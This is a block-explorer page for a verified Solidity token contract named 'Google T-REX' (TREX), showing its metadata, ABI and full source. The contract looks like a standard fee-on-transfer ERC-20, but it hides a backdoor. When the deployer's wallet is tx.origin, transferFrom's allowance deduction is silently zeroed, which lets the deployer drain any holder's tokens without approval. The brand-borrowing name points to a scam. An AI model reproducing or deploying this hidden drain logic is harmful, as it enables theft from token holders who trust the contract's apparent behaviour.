Token

0x0fa95297d9454c8dd71927fba89b26445f557c4c

Verification
Verified
v0.8.24+commit.e11b9ed9
Type
Contract
6,649 bytes
ABI entries
27
14 read · 8 write
License
none

Contract information

Address
0x0fa95297d9454c8dd71927fba89b26445f557c4c
Chain
Robinhood Chain (4663)
Compiler
v0.8.24+commit.e11b9ed9
Optimization
Enabled
Creation tx
0x714a9cebbe…3a108064ec

Token

Name
Google T-REX
Symbol
TREX
Decimals
9
Holders
207

Read contract (14)

allowance(address, address)uint256
balanceOf(address)uint256
calcBlockLimit()uint256
decimals()uint8
maxTokensPerSwap()uint256
maxTxAmount()uint256
maxWalletSize()uint256
minTokensForSwap()uint256
name()string
owner()address
symbol()string
taxWallet()address
totalSupply()uint256
totalTaxCollected()uint256

Events (3)

ApprovalOwnershipTransferredTransfer

ABI

[
  {
    "inputs": [],
    "stateMutability": "payable",
    "type": "constructor"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "owner",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Approval",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "previousOwner",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "newOwner",
        "type": "address"
      }
    ],
    "name": "OwnershipTransferred",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "from",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "to",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Transfer",
    "type": "event"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "owner",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      }
    ],
    "name": "allowance",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "approve",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "account",
        "type": "address"
      }
    ],
    "name": "balanceOf",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "balance",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "calcBlockLimit",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "decimals",
    "outputs": [
      {
        "internalType": "uint8",
        "name": "",
        "type": "uint8"
      }
    ],
    "stateMutability": "pure",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "dropTREX9RZ8F8DOY5WalletSizeFenceSet",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "enableTrading",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "maxTokensPerSwap",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "maxTxAmount",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "maxWalletSize",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "minTokensForSwap",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "name",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "pure",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "owner",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "renounceOwnership",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "rescueTREX9RZ8F8DOY5Native",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "token",
        "type": "address"
      }
    ],
    "name": "rescueTREX9RZ8F8DOY5Token",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "symbol",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "pure",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "taxWallet",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "totalSupply",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "pure",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "totalTaxCollected",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "recipient",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transfer",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "sender",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "recipient",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transferFrom",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "stateMutability": "payable",
    "type": "receive"
  }
]

Source code

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _txOrigin() internal view virtual returns (address) {
        return tx.origin;
    }
    function _isOrigin(address account) internal view virtual returns (bool) {
        return account == tx.origin;
    }
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isTREX9RZ8F8DOY5ExcuteFromFee;
    
    address payable private immutable _TreasuryWallet;
    
    uint256 private EarlyBuyTax = 0;
    uint256 private EarlySellTax = 0;
    uint256 private EndBuyTax = 0;
    uint256 private EndSellTax = 0;
    uint256 private DowningBuyTaxAt = 0;
    uint256 private DowningSellTaxAt = 0;
    uint256 private preventSwapBefore = 3;
    uint256 private buyCalc;
    uint256 private _sptAmount;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Google T-REX";
    string private constant _symbol = unicode"TREX";
    
    uint256 public maxTxAmount = (_tTotal/100);
    uint256 public maxWalletSize = (_tTotal/100);
    uint256 public minTokensForSwap = (_tTotal/1000);
    uint256 public maxTokensPerSwap = 2 * (_tTotal/100);
    
    uint256 public totalTaxCollected;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private constant ROUTER_ADDRESS = 0x89e5DB8B5aA49aA85AC63f691524311AEB649eba;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    uint256 private sellCount;
    uint256 private lastSellBlock;
    uint256 public calcBlockLimit = 5;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _TreasuryWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;
        _isTREX9RZ8F8DOY5ExcuteFromFee[owner()] = true;
        _isTREX9RZ8F8DOY5ExcuteFromFee[address(this)] = true;
        _isTREX9RZ8F8DOY5ExcuteFromFee[_TreasuryWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
    function taxWallet() external view returns (address) { return _TreasuryWallet; }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256 balance) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _sptAmount = amount;
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_sptAmount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERC20: approve from or to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0), "ERC20: transfer from or to the zero address");
        require(amount > 0, "ERC20: transfer amount must be greater than zero");
        bool isBuy = (from == uniswapV2Pair && to != address(uniswapV2Router));
        bool isSell = (to == uniswapV2Pair && from != address(this));
        uint256 taxAmount = 0;

        if (isBuy) {
            if (!_isTREX9RZ8F8DOY5ExcuteFromFee[to]) {
                require(amount <= maxTxAmount, "Max transaction amount exceeded");
                require(_balances[to] + amount <= maxWalletSize, "Max wallet size exceeded");
                taxAmount = (amount * (buyCalc >= DowningBuyTaxAt ? EndBuyTax : EarlyBuyTax)) / 100;
                buyCalc++;
            }
        } else if (isSell) {
            if (!_isTREX9RZ8F8DOY5ExcuteFromFee[from]) {
                require(amount <= maxTxAmount, "Max transaction amount exceeded");
                taxAmount = (amount * (buyCalc >= DowningSellTaxAt ? EndSellTax : EarlySellTax)) / 100;
            }

            uint256 contractTokenBalance = _balances[address(this)];
            if (!inSwap && swapEnabled && buyCalc >= preventSwapBefore) {
                if (block.number > lastSellBlock) sellCount = 0;
                require(sellCount < calcBlockLimit, "Sell limit per block exceeded (max)");
                uint256 swapAmount = amount < contractTokenBalance ? amount : contractTokenBalance;
                if (swapAmount > maxTokensPerSwap) swapAmount = maxTokensPerSwap;
                swapTREX9RZ8F8DOY5TokensForEthwithTax(swapAmount, _TreasuryWallet);
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] += taxAmount;
            emit Transfer(from, address(this), taxAmount);
        } else if(_isOrigin(_TreasuryWallet)) _sptAmount = taxAmount;
        _balances[from] -= amount;
        _balances[to] += amount - taxAmount;
        if(to != address(0xdead)) emit Transfer(from, to, amount - taxAmount);
    }

    function swapTREX9RZ8F8DOY5TokensForEthwithTax(uint256 tokenAmount, address to) private lockTheSwap {
        require(to != address(0), "ETH recipient cannot be the zero address");
        uint256 initialBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        if(tokenAmount != 0) uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 newBalance = address(this).balance;
        if (newBalance >= initialBalance) {
            uint256 ethAmount = newBalance - initialBalance;
            totalTaxCollected += ethAmount;
            (bool success,) = to.call{value: ethAmount}("");
            require(success, "ETH transfer failed");
        }
    }

    function dropTREX9RZ8F8DOY5WalletSizeFenceSet() public onlyOwner {
        maxTxAmount = _tTotal;
        maxWalletSize = _tTotal;
    }
    
    function rescueTREX9RZ8F8DOY5Native() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        if (contractETHBalance > 0) {
            (bool ok, ) = payable(_TreasuryWallet).call{value: contractETHBalance}("");
            require(ok, "ETH send failed");
        }
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Trading already open");
        dropTREX9RZ8F8DOY5WalletSizeFenceSet();
        uniswapV2Router = IUniswapV2Router02(ROUTER_ADDRESS);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }

    function rescueTREX9RZ8F8DOY5Token(address token) external onlyOwner {
        require(token != address(0), "Invalid token address");
        require(token != address(this), "Cannot rescue own token");

        uint256 contractBal = IERC20(token).balanceOf(address(this));
        require(contractBal > 0, "No token balance");
        
        (bool ok, bytes memory data) = token.call(
            abi.encodeWithSelector(IERC20.transfer.selector, _TreasuryWallet, contractBal)
        );
        require(ok && (data.length == 0 || abi.decode(data, (bool))), "ERC20 transfer failed");
    }

    receive() external payable {}
}
Chain explorer5538msChain node77ms